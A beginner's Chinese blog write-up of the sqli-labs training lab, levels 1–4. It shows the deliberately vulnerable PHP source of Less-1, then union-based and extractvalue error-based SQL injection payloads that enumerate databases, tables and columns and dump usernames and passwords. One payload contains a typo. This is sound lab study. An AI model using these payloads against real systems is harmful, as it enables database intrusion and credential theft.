小白日记 0day sqli-labs-master/less 1~4

SQL注入漏洞注入原理

SQL注入(英语:SQL injection),也称SQL注入或SQL注码,是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了字符检查,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行,因此遭到破坏或是入侵。[摘自wiki]

less-1 GET-Error based Single quotes - String

首先看一下题目源码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>

<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">


<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity 


$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql); //发送一条mysql请求,但是此函数已经被5.50起废除了,7.0进行了移除//在这里能不能搞文章
$row = mysql_fetch_array($result);//从结果集中取得一行作为关联数组,或数字数组,或二者兼有

	if($row) //所以这里处理的就是数组
	{
  	echo "<font size='5' color= '#99FF00'>";
  	echo 'Your Login name:'. $row['username'];
  	echo "<br>";
  	echo 'Your Password:' .$row['password'];
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

接着进入网页进行尝试
初始界面
输入?id=1
在这里插入图片描述
接着试试判断表下有多少列,
这里测试4列显然不对
在这里插入图片描述
所以在试试3列
在这里插入图片描述
接着我们就需要知道当前使用的是哪一个库了
在这里插入图片描述
由此我们可以得知心啊子啊使用的是security库,那么知道了库之后我们就需要去看看库里有什么表
在这里插入图片描述
这里构造的语句是这样写的

url+?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

得到了security库里的表名,发现有一个表名叫做users,发现有点东西所以再进一步尝试。[其实也只是爆列了]
在这里插入图片描述
构造语句如下:

url+?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 

接着就需要爆值了,
在这里插入图片描述
构造语句如下

url + 0' union select 1,2,group_concat('-',id,username,password) from users --+

到此第一关就结束了

less 2 GET-Error based-Intiger based

上一题,特征是单引号,这个题看题目就知道了,所以这一次不使用union 查询注入,而是使用手工报错注入[基于extractvalue]。那么extractvalue是什么函数呢?

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
extractvalue(XML_document, XPath_string)
第一个参数:xml文件
第二个参数:xml文件位置
简而言之,这个函数实际上就是对xml文档进行查询的函数,报错主要是靠第二个参数,首先正常的路径应该是////***,那么如果输入的是不符合规格的,那么我们就会报错,并且返回我们写的东西,我们在这里进行查询,这样就可以在报错的位置得到我们需要的东西。
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
知道了这些我们就可以去尝试用另一种方法了,按照查询数据库->爆表->爆列->爆值
构造返回数据库名的语句

url+?id=1' and 1=extractvalue(1,concat(0x7e,(select grooup_concat(select database())))) --+

在这里插入图片描述
构造爆表的语句

url+?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

在这里插入图片描述
后边爆列爆值的方法都一样的,所以就不展示了

Less3 GET-Error based-single quotes with twist -string

根据报错信息
在这里插入图片描述
发现单引号不对,并且标题告诉我们,需要想办法闭合,所以加上括号好就好了其他的都一样

Less4 GET-Error based-Double quotes -string

看报错信息,这里单引号变双引号就好了。

关于闭合的问题,可以看一看源码就会明白了,报错里也有的。
下图这个是less1的
在这里插入图片描述

sqlmap当然也可以但是刚开始还是手工测试学习吧。

頑張って!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值